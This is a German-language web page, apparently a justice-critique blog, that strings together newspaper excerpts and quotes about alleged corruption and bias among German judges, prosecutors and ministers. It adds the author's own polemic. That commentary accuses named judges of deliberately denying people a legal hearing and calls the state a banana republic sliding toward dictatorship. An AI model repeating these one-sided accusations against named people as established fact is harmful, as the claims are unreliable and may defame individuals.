Die Gleichheit vor dem Gesetz; Wie im großen so auch im kleinen vor Ort; Wer Geld hat kann sich Freikaufen; Es gilt auch das Ansehen der Person; Wer sich einen Anwalt leisten kann und sich bei der Beauftragung eines solchen nicht strafbar macht ist im Ansehen der Person bereits anders zu behandeln und diesem wird auch nicht das rechtliche Gehör versagt:
Folgende Artikel fanden sich in ein und derselben Zeitung:
„Zehn Verfahren in Steueraffäre gegen Geldbuße eingestellt“
Es ging um eine Steuerhinterziehung zwischen 100 000 und 1,2 Millionen Euro. Gegen die Zahlung millionenschwerer Geldauflagen ist bislang zehn Beschuldigten in der Liechtensteiner Steuer-Affäre ein Prozess erspart geblieben Die Verfahren wurden eingestellt.
Die zweite Überschrift: „Acht Monate mit Bewährung für Hartz-4 Empfänger“
Der Angeklagte hatte staatliche Leistungen bekommen, obwohl er bereits wieder ein neues Einkommen hatte. Er erhielt deshalb 857 Euro zu viel von der Hartz-Behörde. Das Amtsgericht verurteilte ihn zu acht Monaten Freiheitsstrafe. Diese wurde zu drei Jahren Bewährung ausgesetzt. Den Betrag von 857 Euro muss er natürlich zurückzahlen. Die Staatsanwaltschaft ging von Betrug aus.

Richterin Anke Weilert Amtsgericht Minden:
Knast für Mittellose, die sich bei Anwaltszwang anwaltlich vertreten lassen (Richterin Anke Weilert) und denen das rechtliche Gehör zu versagen ist: Richterin Gerlinde Prange (LG-Bielefeld) versagt vorsätzlich mehrfach das rechtliche Gehör
Strafverfahren gegen Bauhofleiter wird von Richterin Anke Weilert eingestellt / Keine Verurteilung wegen Untreue (Mindener Tageblatt 09.01.2009)
Das Verfahren wegen Untreue gegen Bauhofleiter Herbert Schäffer ist gestern eingestellt worden. Schäffer wurde zur Zahlung von 5000 Euro an gemeinnützige Einrichtungen verpflichtet. Das sah dann so aus, dass Schäffer sich an die Arbeiter wandte, die dann am 29. und 30. November 2006 dort Arbeiten erledigten. Bei einem angenommenen Stundenlohn von 35 Euro habe der Bürgermeister damit 1155 Euro gespart. Am 28. November und 1. Dezember seien entgegen der Anklageschrift seines Wissens nach keine Arbeiter dort gewesen. Schäffer habe die Arbeiter nicht beaufsichtigt.

Korrupter Handelsrichter Wildanger, Berliner Zeitung 07.02.1997
Wildanger soll nach einer Verhandlung vor der Handelskammer des Landgerichts von einem Beschuldigten 105 000 Mark für ein Urteil zugunsten der beklagten Firma verlangt haben. Im Prozeß selbst ging es um Provisionszahlungen in Höhe von 755 000 Mark. In diesem Verfahren zählte Wildangers Stimme als ehrenamtlicher Richter genauso wie die des hauptberuflichen Vorsitzenden. Bei der Übergabe der ersten Rate von 5 000 Mark am Dienstag abend wurde der Makler in seinen Büroräumen an der Knesebeckstraße festgenommen.
„Der Richter hat bei der Vernehmung die Tatvorwürfe eingeräumt“, sagte gestern Justizsprecher Rüdiger Reiff entgegen den Erklärungen von Wildangers Verteidiger Studier. Selbst wenn die Darstellungen des Anwaltes stimmten, ändere dies nichts an dem Vorwurf. „Der Richter hat das Geld angenommen“, so der Justizsprecher.

Bestechlicher Juraprofessor, Uni Hannover kassiert neun Doktortitel wieder ein, 14.03.2009
Ein Juraprofessor in Hannover bekam viel Geld dafür, dass er Richter und Anwälte zur Promotion führte. Neun Kunden einer windigen Promotionsberatung wurde das zum Verhängnis: Die Universität Hannover hat ihnen ihre Titel aberkannt. Weitere Prozesse bahnen sich an.
Neun Juristen, darunter ein Richter, mehrere Staatsdiener und Rechtsanwälte, hatten auf ihrem Weg zur Promotion an der Universität Hannover Geld an eine Beraterfirma bezahlt – und sind ihre Doktortitel deshalb wieder los. Die Universität Hannover hatte die Titel zwischen 1998 und 2005 verliehen. Jetzt erkannte sie die akademischen Grade ab, wie die „Hannoversche Allgemeine Zeitung“ (HAZ) berichtet.
Grund für die Rückrufaktion: Die Juristen hatten ihre Arbeit beim wegen „Bestechlichkeit in besonders schwerem Fall“ verurteilten Juraprofessor Thomas A. abgelegt. Ihm waren die Kandidaten wiederum von einer Agentur, dem Institut für Wissenschaftsberatung in Bergisch Gladbach, vermittelt worden. Die juristische Fakultät der Leibniz-Universität hält die Promotionen darum für rechtswidrig.
In diesen neun und 59 weitere Fällen hatte A. Juristen zu dem begehrten Titel verhelfen sollen und ließ sich dies fürstlich bezahlen. Über 150.000 Euro kassierte er insgesamt dafür, dass er Doktorarbeiten zur Betreuung annahm – was eigentlich zu den ganz gewöhnlichen Pflichten eines Universitätsprofessors gehört.
„Die Juristen wussten, worauf sie sich einlassen“.

Rechtsbeugermafia 2
Die vereinten Kartelle, der Patenschaften, die Gilde der Rechtsverdreher… versucht immer wieder mit Geld, Druck, Drohung, Verboten das Recht und die freie Meinungsäußerung zu behindern und zu verbieten.
Recht ist in dieser Bananenrepublik eine Frage der Macht, des Geldes und der Seilschaften, der gekauften Gutachter usw.
Siehe auch die neuen Machenschaften: Die freie Meinungsäußerungen im Internet zu verbieten, zu behindern, mit Abmahnungen und skurrile Urteile. So z.B. das Patentrecht: Jetzt sind schon Farben patentierbar, bzw. schützenswert, so geschehen mit lila, magenta und jetzt angestrengt von der Telekom, die Farbe gelb (wg. Branchenbücher). Die Machtkonzerne erkaufen sich ihr Recht!

Deutschland Deine Schwächen
Ärzte, Juristen, Bänker, Mitmenschen und andere Enttäuschungen, Köhler Verlag
Eva Christ, die Autorin von INTERNET-FLIRT und liebenswerten Kinderbüchern, und Dr. Hannes Kapuste, ein Suchtarzt, klagen an:
Selbstgefällige inkompetente Richter und Staatsanwälte, faule Rechtsanwälte, sture korrupte Mediziner, ehrlose Banker, fiese Zeitgenossen, überversorgte Politiker, schamlose Journalisten …

Justizkritik – Balance-Akt zwischen den Stühlen
Norbert Leppert, Gerichtsreporter im Ruhestand (Frankfurter Rundschau)
Richtig dick aber kann es für einen Reporter kommen, wenn es um die Aufdeckung handfester Justizaffären geht, wie zum Beispiel:
Geldbußen, die in ausgewählte Kanale gelenkt werden, um davon privat zu profitieren;
Nebentätigkeit, die zum Haupteinkommen wird und den Anschein von Abhängigkeit aufkommen lassen;
Steuerhinterziehung;
Akten, die dem Rechtsverkehr entzogen, unterdrückt oder auch manipuliert werden;
Vorwurf der Rechtsbeugung, Freiheitsberaubung;
Verdacht auf Falschaussage oder schwere dienstliche und außerdienstliche Verfehlungen vor dem Hintergrund von Alkohol oder anderen Drogen
alles Skandale und Skandälchen, von denen kaum eines der großen Gerichte in der Bundesrepublik – und so manches kleinere auch nicht – verschont gewesen wäre. Reporter, die sich zur Aufdeckung entschließen – ich drücke es bewusst so vorsichtig aus, weil ich etliche Kollegen kenne, die sich dazu nicht oder nicht mehr entschließen können, was zwar unprofessionell ist, aber nachvollziehbar Gründe hat – diese Reporter jedenfalls haben sich auf einiges gefasst zu machen.

Strafverfolger, Schuld und Bühne, Der Spiegel 3/2009 vom 12.01.2009, Seite 30
Nächste Woche beginnt der Prozess gegen den früheren Post-Chef Klaus Zumwinkel. Ein Verlierer steht schon fest: die Staatsanwaltschaft Bochum. Mit der Demontage von Margit Lichtinghagen, Deutschlands bekanntester Anklägerin, hat die Behörde auch ihren eigenen Ruf ruiniert. Justizministerin Roswitha Müller-Piepenkötter hat heute (Montag, 12. Januar 2009) zur aktuellen Berichterstattung über die Bochumer Staatsanwaltschaft Stellung genommen:http://www.justiz.nrw.de/Presse/PresseJM/12_01_09/index.php

In 8 Monaten mehr als 60 Fälle von bekannter strafbarer Korruption in deutschen Behörden, Landesjustizministerin Roswitha Müller-Piepenkötter 10.12.2008:
Bei dem Antikorruptionsgesetz ging es um ein Gesamtkonzept, bei dem das Zusammenspiel der Behörden verbessert und die Kontrollmöglichkeiten gestärkt werden sollten. Dies haben Sie, sehr verehrte Frau Düker, in derselben Sitzung am 15. Dezembeu Düker, in derselben Sitzung am 15. Dezember 2004 so erklärt. Nicht ohne Stolz, so meine ich, haben Sie bilanzierend die Arbeit des bereits einige Zeit zuvor eingerichteten Korruptionsbekämpfungsdezernats 15 beim Landeskriminalamt dargestellt.
In den ersten sechs Monaten seines Bestehens seien bereits 180 Hinweise eingegangen, von denen die Hälfte „hinreichend strafrechtlich relevant“ gewesen seien. Innenminister Dr. Behrens hat diese Zahlen im Verlauf der Plenarsitzung aktualisiert: Zwischen April und Ende November 2004 seien über 300 Anrufe eingegangen, von denen sich „auf Anhieb“ 60 als strafrechtlich relevant erwiesen hätten.
Die “Göttinger Affäre”: Als sie bei einem Förder-Antrag in Millionenhöhe die bisherige Erfolgsbilanz eines Sonderforschungsbereichs an der Uni Göttingen sehen wollten, staunten sie nicht schlecht: angebliche Veröffentlichungen entpuppten sich als unfertige Entwürfe, die noch nirgendwo publiziert waren.

Justizministerin – Müller-Piepenkötter soll dem Rechtsausschuss Justizpannen erklären, 19.08.2009
Anfang August waren strafrechtliche Ermittlungen gegen eine Bedienstete bei der Mönchengladbacher Staatsanwaltschaft wegen Strafvereitelung im Amt eingeleitet worden. Ihr wird vorgeworfen, als Mitarbeiterin der Staatsanwaltschaft die Bestrafung von Kinderschändern jahrelang verzögert zu haben. Zudem wurde gegen eine Staatsanwältin, die den Fall eines mutmaßlichen Kinderschänders zu langsam bearbeitet haben soll, ein Disziplinarverfahren eingeleitet.
Der Ministerin war nach Bekanntwerden der Missstände bei der Mönchengladbacher Staatsanwaltschaft am 23. Juli von der Opposition im Landtag erneut der Rücktritt nahegelegt worden. Seit dem Siegburger Foltermord steht die Ministerin in der Kritik.

Frank Fasel ehemaliger Richter am LG Stuttgart, Süddeutsche Zeitung, 9. April 2008:

Ich war von 1973 bis 2004 Richter am Landgericht Stuttgart und habe in dieser Zeit ebenso unglaubliche wie unzählige, vom System organisierte Rechtsbrüche und Rechtsbeugungen erlebt, gegen die nicht anzukommen war/ist, weil sie systemkonform sind. Ich habe unzählige Richterinnen und Richter, Staatsanwältinnen und Staatsanwälte erleben müssen, die man schlicht „kriminell“ nennen kann. Sie waren/sind aber sakrosankt, weil sie per Ordre de Mufti gehandelt haben oder vom System gedeckt wurden, um der Reputation willen. Natürlich gehen auch Richter in den Puff, ich kenne in Stuttgart diverse, ebenso Staatsanwälte. In der Justiz gegen solche Kollegen vorzugehen, ist nicht möglich, denn das System schützt sich vor einem Outing selbst – durch konsequente Manipulation. Wenn ich an meinen Beruf zurückdenke (ich bin im Ruhestand), dann überkommt mich ein tiefer Ekel vor „meinesgleichen“

Prof. Dr. Ing. Hans-Joachim Selenz, früher einmal Vorstandsvorsitzender der Salzgitter AG:
Frank Fahsel, früher Richter am Landgericht in Stuttgart, gibt tiefe Einblicke in das, was Tausende Bürger täglich vor deutschen Gerichten erleben.[…]
Besser kann man den Zustand in Teilen der deutschen Justiz nicht auf den Punkt bringen, mit Hilfe derer Politik und Wirtschaft den Rechtsstaat missbrauchen.[…] Explizit kriminelles Justizhandeln gibt es zuhauf.[…] Der Sumpf schließt die höchsten deutschen Gerichte ein. Daher gibt es praktisch keine Verurteilung wegen Rechtsbeugung, Strafvereitelung im Amt und Begünstigung. Selbst schwerste Wirtschaftskriminalität wird gegen Zahlung geringer Beträge eingestellt.
http://www.hans-joachim-selenz.de/kommentare/2008/justizsumpfdeutschland.html

Leserbrief in DER SPIEGEL, 25/1981 von Richter Frank Fasel:

„Der Verfassungsrichter Hirsch irrt: Selbst in der nur mild konservativen Stuttgarter Justiz teilt die sogenannte schweigende Mehrheit die Meinung des Richterbundes (gelegentlich — ganz und gar unberechtigt — „Beförderungsverein auf Gegenseitigkeit“ genannt), denn die Mehrheit ist Mitglied dieses Vereins, der sich als Über-Ich S.12 der Justiz und als Oberaufpasser gegenüber Justizkritikern geriert. Daß Herr Hirsch bei Justizoberen besonders aneckt, kann nicht verwundern; jene sind auch das Produkt einer Verhaltensweise-Auslese: Wer das System kritisiert, kommt aus Tradition nicht nach oben.
Nicht gefolgt werden kann Herrn Hirsch, wenn er vorgibt, das synchrone Walten und Schalten der fünf Nürnberger Richter sei ihm ein Geheimnis. Herr Hirsch kennt die Gründe. Ich stelle fest, daß nicht einmal ein Verfassungsrichter gewisse Dinge beim Namen nennen will. Was bemäkelt er aber dann das Schweigen der „kleineren“ Richter? Er sagt doch selbst, daß in der Justiz kritische Meinungsäußerungen mit Sanktionen geahndet werden.
Im übrigen liegt er gleichermaßen außerhalb des Justiz-Komments wie mit seinen Ansichten richtig. Doch es bringt nichts. Die Justiz ist nicht bewegbar!“

Telefonnotiz über ein Gespräch mit dem pensionierten Richter Frank Fahsel 20.05.2008 bei Rechtsanwalt Lutz Schaefer:
Wie man sieht, ist die Herde nicht durchgehend schwarz, doch der Mechanismus der ‚Justiz im Würgegriff der Verwaltung‘, wie es der Deutsche Richterbund ausdrückte, funktioniert bis jetzt perfekt. Schade, daß immer erst die Pensionierung den Umschwung bringt, der Rechtspflege wäre zutiefst gedient, wenn diese Mißstände schon füher offenbart, ausgetragen und vor allem beseitigt werden könnten, bevor so mancher Bürger mit Hilfe der Justiz von allem ‚befreit‘ wird, was ein normales Leben ausmacht. In diesem Zusammenhang ist auch der verehrte Kollege Dr. Egon Schneider zu erwähnen, der eigens einen ‚Justizspiegel‘ ins Leben gerufen hat, in dem nachgewiesen wird, daß Richter auch system-fachlich so oft danebenhauen, daß allein dies Bände füllt. Es gibt gar nicht genug Schachtschneiders, Schneiders und Fahsels, um darzutun, daß die Gewaltenteilung eine Illusion ist. Damit gibt es aber denknotwendig auch keinen ‚gesetzlichen Richter‘, solange diese in Ausbildung, Ernennung, Beförderung und vor allem Bezahlung lediglich Anhängsel der Verwaltung sind. Es ist vieles faul im Staate Deutschland!

Günter Oettinger (CDU) und Ulrich Goll (FDP) : In der Justiz gibt es keine Missstände und die „grob ehrenrührigen Behauptungen und Werturteile“ von Richer Frank Fasel entbehren jeglicher Grundlage, Stuttgarter Zeitung 30.10.2008
Auch als Zivilrichter, der vorwiegend mit Bankfällen befasst war, fiel Fahsel aus dem Rahmen. Harsch rügte er etwa 1996 den Bundesgerichtshof (BGH) für eine aus seiner Sicht allzu bankenfreundliche Rechtsprechung. Beim BGH, schrieb er in einer Urteilsbegründung, handele es sich um einen „von Parteibuchrichtern der gegenwärtigen Bonner Koalition dominierten Tendenzbetrieb“, der sich allzu oft als „verlängerter Arm der Reichen und Mächtigen“ verstehe. Banken seien für diese „ehrenwerte Institutionen“, die gar nicht sittenwidrig handeln könnten. Wegen solcher „Fundamentalopposition“ soll sich der Amtschef des Justizministeriums, Michael Steindorfner, geweigert haben, dem Richter, wie üblich, die Urkunde zum 40-Jahr-Dienstjubiläum auszuhändigen.
Auch beim Ressort von Steindorfner und Ulrich Goll (FDP) meldeten sich übrigens einige Bürger, die gerne eine Stellungnahme zu Fahsels Vorwürfen gehabt hätten. Davon habe man jedoch abgesehen, weil die „grob ehrenrührigen Behauptungen und Werturteile“ in dessen Leserbrief viel zu pauschal seien, erläutert ein Sprecher. Die Attacken des „in der Justiz hinlänglich bekannten“ Richters „mögen persönlich motiviert sein, entbehren aber jeder Grundlage“.
In diesem Sinne antwortete auch Günther Oettinger, an den sich ebenfalls irritierte Leserbriefleser wandten. „Die von Ihnen zitierten Vorwürfe sind nicht haltbar“, ließ er einen Referenten der Staatskanzlei ausrichten. „Herr Ministerpräsident setzt volles Vertrauen in die Justiz des Landes.“

Auf Englisch heißt solch ein Verhalten: Rejection and Denial. – Zurückweisung und Abstreiten der Tatsachen.
Derartiges Verhalten gilt in der Psychologie als ein Anzeichen für besonders schwer heilbare psychische Erkrankungen. Die Wahrnehmung und Anerkennung von Fehlern und von Fehlverhalten als solches ist nämlich Voraussetzung und im Wesentlichen die einzige Möglichkeit, deren Behebung zu erreichen. …“

Da die oben genannten Abstreiter aber von den Missständen profitieren und direkt Einfluß auch auf die Staatsanwaltschaft nehmen können besteht für diese auch kein Grund etwas zu verbessern, sondern es ist für diese sogar notwendig alle Justizverbrechen zu bestreiten und auch die vielen justizgeschädigten Menschen zu verleugnen und mundtot zu machen.

Manche Richter gehen nicht nur in den Puff, manche Richter schauen sich auch Kinderpornos an:

Richter Frank Fasel: „Natürlich gehen auch Richter in den Puff, ich kenne in Stuttgart diverse, ebenso Staatsanwälte.

Dr. Johannes Remmel war Präsident des Verwaltungsgerichts Kassel. Überlastet, wie unsere Justiz nun einmal ist, betätigte sich Remmel nebenbei als
Vorsitzender eines Kirchen-Gerichts in Fulda, Vorsitzender des Tennis-Clubs Marburg, Vorsitzender des Elternbeirats der E-Schule Marburg, Lehrbeauftragter der Uni Gießen, Kassenwart der hessischen Verwaltungsrichter.
Und immer noch hatte Remmel viel freie Zeit. Er nutzte sie um mehr als 1000 Kinderpornos aus dem Internet zu saugen. Das aber haben nicht hessische Polizeibeamte aufgeklärt, sondern Leute in Cottbus.
Den Justiz-Minister, der den Kinderporno-Sauger zum Gerichtspräsidenten ernannt hat, können Sie in Hessen wählen. Es ist der Jurist Dr. Christean Wagner (CDU). Rechts grinst er eitel, weil er eine kleine Bergziege, die ihm nichts getan, abgeknallt hat. Freude am Töten Wehrloser ist genau, was ein Justizminister braucht.

Focus Nr. 30, 21.07.2008, Seite 54 „Es ist egal, ob ich Recht habe. Der Jurist Christoph Arnold erklärt den täglichen Betrug vor Gericht und wie Rechtsirrtümer Anwälte reich machen.“
„Ich wäre sicherlich ein schlechter Anwalt, würde ich nicht in jedem Fall versuchen, mein Recht zu bekommen. Dabei spielt es heutzutage kaum noch ein Rolle, ob ich tatsächlich im Recht bin. …Das Recht ist eine dehnbare Formel, ein abstrakter Begriff, der mit der Wirklichkeit nichts zu tun hat. Im Prozess geht es um das, was ich beweisen kann und was nicht. Da wird gelogen, dass sich die Balken biegen.
Rechtsirrtümer als Arbeitsbeschaffungsmassnahme.
Focus Nr. 30, 21.07.2008, Seite 86 Leserbrief Dr. Behne (Tagebuch: Zu langsam für Gerechtigkeit).
Seitdem ich Zeuge war, wie ein Anwalt seinem potenten Klienten sagte: Besorgen Sie sich doch einen schwurfesten Zeugen, seitdem ich mehrhfach erlebte, wie verwerflich kriminiell die Anwaltschaft sein kann, nehme ich an, dass Jurastudenten systematisch gelehrt wird, wie man mit Winkelzügen und Deutung von Paragrafen das Recht verdrehen und missbrauchen kann. Prof. Dr. Torsten Tristan Straub schreibt am 6. Oktober 2001 in der Süddeutschen Zeitung:
„Der deutsche Jurist ist das Produkt einer Ausbildung, die ihn so gesinnungstüchtig macht, dass er jedwedem Regime dienen kann und deshalb auch dessen Wechsel übersteht.“

Dresdner Richter klagt gegen Justizministerium 22.11.2008, keine Qualitätsauslese bei Beförderungen:
Ein sächsischer Richter hat seinen Dienstherrn auf Schadenersatz verklagt, weil er seit Jahren bei Beförderungen rechtswidrig übergangen wird. Markus Scheffer, Richter am Verwaltungsgericht Dresden, hat sich bereits mehrfach um eine Stelle beim Oberverwaltungsgericht in Bautzen beworben – bisher vergeblich. Bei der letzten Bewerbung sei er wieder nicht zum Zuge gekommen, obwohl er die besseren Beurteilungen als die Gegenkandidaten vorzuweisen habe, heißt es in der Klageschrift des Anwalts: „Der Anspruch des Klägers auf ein faires und gerechtes Verfahren ist gröblich verletzt worden.“.
Scheffer verweist nicht nur auf seine guten Noten, sondern begründet seine Qualifikation auch mit zahlreichen Beiträgen in Fachzeitschriften.
Vor 2 Jahren, als der Rechtsstreit gegen das Ministerium bereits lief, kritisierte er in einer Fachzeitschrift die damals übliche Praxis, die Gerichtspräsidenten auf die Justizpolitik des Landes einzuschwören. Darüber hinaus forderte das Ministerium in seinen Stellenausschreibungen auch eine aktive Unterstützung der „Modernisierungsbestrebungen in der sächsischen Justiz“, was in den Augen vieler gleichbedeutend ist mit der Sparpolitik der Regierung. Scheffer kritisierte das als unvereinbar mit dem Bild des Richters, der nur der Wahrheit und Gerechtigkeit dienen solle.

Der derzeitige Weg zu einem diktatorischen Staat mit nationalsozialistischen Verhälnissen:

Ein Richter, der sich bei seinen Entscheidungen den Weisungen der Exekutive unterwirft, kann dem Bürger keinen Schutz vor gerade dieser Exekutive gewähren. Der ihm auferlegte Verfassungsauftrag, den Bürger zu schützen, gerät zu einer Farce. Die Teilung und gegenseitige Kontrolle der Staatsgewalten ist gestört. Die Demokratie ist gefährdet – und der Weg zu einem diktatorischen Staat ist eingeschlagen. Wir stehen heute vor der Tatsache, dass die Unabhängigkeit der Justiz immer stärker bedroht wird. Die Exekutive drängt immer mehr in die Justiz hinein und bestimmt, was dort zu geschehen hat. Die Auswahl der Richter Der Einfluss der Exekutive auf die Judikative beginnt schon gleich am Anfang einer jeden Richterlaufbahn. Nach der derzeit gültigen Rechtslage werden Richter in allen Bundesländern durch die jeweiligen Justizministerien ernannt. Feste Kriterien, wer ernannt wird und wer nicht, gibt es nicht. Manchmal richtet man sich nach der Examensnote, manchmal spielen offensichtlich andere Kriterien eine Rolle. Nicht selten werden Richter ernannt, die sich bislang in einer politischen Laufbahn in der Exekutive befunden haben und diese Laufbahn mehr oder >weniger freiwillig beenden. Vielfach handelt es sich dabei gleich um Ernennungen in Beförderungsämter. Ob diese Richter den Abstand haben, nach ihrem Wechsel in das Richteramt unvoreingenommen über die Akte eben jener Exekutive zu entscheiden, der sie soeben noch angehört haben, erscheint fraglich. Für den Bereich des öffentlichen Rechts ist die Tatsache, dass die vollziehende Gewalt die Richter aussucht und ernennt, geradezu skurril. Da es die Aufgabe dieser Richter ist, Bescheide der Exekutive zu überprüfen, muss man konstatieren, dass die kontrollierte Exekutive sich ihre Kontrolleure selber aussucht. Das kann nicht richtig sein ! Die sachliche Beeinflussung Schlimmer noch als bei der Auswahl der Richter, die nur einmal stattfindet, wirkt sich der permanente Einfluss der Exekutive auf die Arbeit in der Justiz aus. Der weisungsgebundene Staatsanwalt In der Strafjustiz spielt der Staatsanwalt bekanntlich eine zentrale Rolle. Er bestimmt, ob und in welchem Umfang Ermittlungen stattfinden und ob Anklage erhoben wird. Er hat – von wenigen Ausnahmen abgesehen – das Anklagemonopol, ohne seine Anklageerhebung findet keine gerichtliche Untersuchung statt. Im Volksmund heißt es daher zutreffend: wo kein Kläger ist, da ist auch kein Richter. Dieser Kläger, also der Staatsanwalt, ist nach derzeitiger Rechtslage ein weisungsgebundener Beamter. Jeder Staatsanwalt hat als Vorgesetzten einen weisungsberechtigten Abteilungsleiter, der wiederum hat einen weisungsberechtigten Behördenleiter, der Behördenleiter unterliegt den Weisungen des Generalstaatsanwaltes und der Generalstaatsanwalt schließlich hat den Weisungen des Justizministers zu folgen. Diese Anordnungsbefugnis der Exekutive gegenüber den Staatsanwälten hat in den Jahren ab 1933 dazu geführt, dass die verbrechen der Nationalsozialisten nicht strafrechtlich geahndet wurden. Die weisungsgebundenen Staatsanwälte durften derartige Verbrechen nicht anklagen. Das Rechtssystem, dass damals die Staatsanwälte an ihrer Arbeit gehindert hat, existiert als solches immer noch. Tatsächlich ergehen auch heute noch direkte Weisungen an Staatsanwälte bei der Bearbeitung einzelner Verfahren. Der Einfluss des Bürgers auf die staatsanwaltschaftliche Arbeit ist dagegen sehr gering. Weigert sich – um beim Beispiel der nationalsozialistischen Verhältnisse zu bleiben – ein Staatsanwalt Anklage zu erheben und schließt er die Akten, so hat der Verletzte zwar grundsätzlich die Möglichkeit, ein sog. Klageerzwingungsverfahren (§ 172 StPO) einzuleiten. Dieses Verfahren ist jedoch mit so vielen formalen Schwierigkeiten belastet, dass es nicht praktikabel ist. Doch auch die Richter bleiben von der Einflussnahme der Exekutive nicht verschont. In den letzten Jahren hat sich dieser Einfluss immer mehr verstärkt.
Damit der Richter diese Vorgaben auch einhält, hat die Exekutive ein Druckmittel in der Hand: die Beförderung. Die Justizminister bestimmen nämlich nicht nur, welcher Richter eingestellt wird, sie bestimmen auch, wer befördert wird. Ähnlich wie bei der Einstellung gibt es auch bei Beförderungen keine bindenden Kriterien. Von Fall zu Fall erweist sich mal das eine, mal das andere Kriterium als beförderungsgeeignet. Die parteipolitische Bindung des Richters an den jeweiligen Justizminister hat sich dabei bislang als nicht hinderlich erwiesen. Abgesehen davon muss man sich zur Zeit vor allem durch eine hohe Zahl von Erledigungen für eine Beförderung empfehlen. Im Auftrage der Ministerien führen alle Gerichte für jeden Richter Erledigungsstatistiken. Diejenigen, die am Monats- oder Jahresende die meisten Klagen erledigt haben, haben die besten Chancen für eine Beförderung. Entscheidend ist die Anzahl der Erledigungen, die Art und die Qualität der Erledigung bzw. des Urteils und die dabei aufgewandte Arbeit spielt -leider – keine Rolle.
Gebotene Hinweise gegenüber Prozessunerfahrenen werden nicht erteilt, das erforderliche Rechtsgespräch wird vermieden, wenn es den Fall verkomplizieren könnte. Verschiedentlich kommt es sogar vor, dass ein Rechtsmittel bewusst unbearbeitet in der Akte abgeheftet wird, in der Erwartung, dass die juristisch nicht beratene Partei es bald vergessen werde, sie es so sicherlich nicht gemeint habe und weil es in der Sache ohnehin keinen Erfolg haben könne.
Norbert Schlepp, Porta Westfalica, Richter am Finanzgericht Niedersachsen.

Amtsrichter schickt geistig Behinderten ins Gefängnis, 02.05.2009

Ein geistig Behinderter muss wegen Diebstahls für acht Monate hinter Gitter. Das ist ein Skandal, sagt ein renommierter Justizexperte.
Sein Bundeszentralregister zählt bereits 26 Einträge wegen Diebstahls. Deswegen sitzt der Dohnaer Jörg P. auch in Haft.
Am Donnerstag stand er wieder vor dem Pirnaer Amtsrichter, für den der 46-Jährige kein Unbekannter ist. Dem entspricht auch das Urteil: Insgesamt acht Monate Freiheitsstrafe muss Jörg P. verbüßen. Ohne Bewährung. Fast zwei davon hat er bereits abgesessen.
Als das Urteil fällt, zeigt Jörg P. kaum eine Regung. Sogar ein freundliches Lächeln bringt er noch über die Lippen. Sicher nicht, weil ihn das Urteil erfreut. Wie es scheint, sind ihm die Konsequenzen nicht bewusst. Denn Jörg P. ist geistig behindert, intellektuell auf dem Stand eines sechs Jahre alten Kindes, so die Aussage der Rechtsanwältin vor Gericht.
Obwohl er seine Diebeszüge gesteht, muss er nun wieder in Haft. Der Grund: Jörg P. wäre laut Strafrichter weder mit einer Geld- noch mit einer Bewährungsstrafe zu beeindrucken. Auch einen Weg zurück in die Einrichtung „Sonnenhof“ für geistig behinderte Menschen in Lohmen, in der er seit 2002 untergebracht war, gibt es nicht. Denn hier sei er zuvor ständig ausgebüxt, um auf „Geldsuche“ zu gehen.
…„Es gibt ein psychologisches Gutachten, das die Schuldunfähigkeit belegt“, sagt Ulfried Kleinert. Die Mitgefangenen von Jörg P. hätten sich ebenfalls schon beschwert. Er trägt Windeln und nässt sich permanent ein. Kleinert: „Er braucht eine Intensivbetreuung.“ Die Vollzugsbeamten seien dafür nicht ausgebildet. „Hier liegt ein offensichtliches Fehlurteil vor“, sagt Ulfried Kleinert, der auf 40 Jahre Erfahrung im Strafvollzug zurückgreifen kann. „Es ist Wahnsinn, was da passiert ist.“

Ein Bundesrichter klagt gegen sein eigenes Gericht – und verliert.

Er sei aus politischen Motiven kaltgestellt worden, sagt er.
Richter am Bundessozialgericht (BSG) Wolfgang Meyer hat sein eigenes Gericht verklagt, weil es ihm politisch brisante Verfahren entzogen haben soll. Einen solchen Rechtsstreit gibt es zum ersten Mal in der bundesdeutschen Justizgeschichte. Doch das Kasseler Verwaltungsgericht hat die Klage am Dienstag abgewiesen. Jetzt will Meyer weiterklagen, bis zum Bundesverfassungsgericht, wenn es sein muss.
Am BSG geht es nur scheinbar oft um Kleinigkeiten wie jüngst die Frage, ob die Krankenkassen gepolsterte Unterhosen für Hüftgeschädigte zahlen müssen. Tatsächlich können die Urteile dort sehr teuer werden. Hartz IV, Rentenversicherung, Krankenkassen – ein Einzelfall kann die Beklagten Millionen kosten. Eine Schlüsselstellung, die Richter auch mal politisch denken und reden lässt. So stellte Gerichtspräsident Peter Masuch öffentlich klar, dass auch Hartz-IV-Empfänger von der Abwrackprämie profitieren dürften, ohne dass ihnen die Leistungen zu kürzen seien. Es stehe so im Gesetz. Die Koalition hatte es sich anders gedacht. (…)

OLG München: “Selten unsinniges Urteil!” des LG Ingolstadt, 29.04.2009
Wir haben vor dem LG Ingolstadt in einer Bausache die Beklagte vetreten (es ging, wie immer, um eine nicht bezahlte Rechnung, um deren fehlende Prüfbarkeit, die Anwendung von VOB oder BGB, die tatsächlich erbrachten Leistungen usw., Streitwert: 22.000 €). Wir haben die erste Instanz vollumfänglich gewonnen, das Urteil war eindeutig, der Vortrag der Klägerin absolut unsubstantiiert und trotz Aufforderung durch das Gericht nicht entsprechend ergänzt worden, so der Richter in seinem Urteil.
Die Klägerin ging – Rechtsschutzversicherung sei Dank! – in Berufung. Die ersten Worte des Senatsvorsitzenden am OLG München: “ich habe schon viele Urteile gelesen, auch aus Ingolstadt, aber ein derart unsinniges habe ich in meiner Laufbahn noch nicht gesehen. Da stimmt ja einfach gar nichts, es ist sowohl sachlich, als auch juristisch falsch!” Der Kollege auf der Klägerseite wußte dann noch zu berichten, dass er von dem Richter in Ingolstadt nur solche Urteile kenne!
In der Sache selbst haben wir uns verglichen (”Druckmittel” wie immer: die immens hohen Sachverständigenkosten).
Der Senat war so freundlich, seine deutlichen Worte zur Qualität des erstinstanzlichen Urteils im Protokoll festzuhalten. Ob´s den Richter beeindruckt? Ich wage es zu bezweifeln. Die Zeit und das Geld hätte man sich sparen können.

Entrechtet und betrogen, Von Thorsten Jungholt 21. April 2008
Mehr als eine Million Menschen stehen unter rechtlicher Betreuung – Tendenz steigend. Statt Fürsorge zu bekommen, werden manche skrupellos um ihr Vermögen gebracht. Warum die Kontrolle nicht funktioniert.
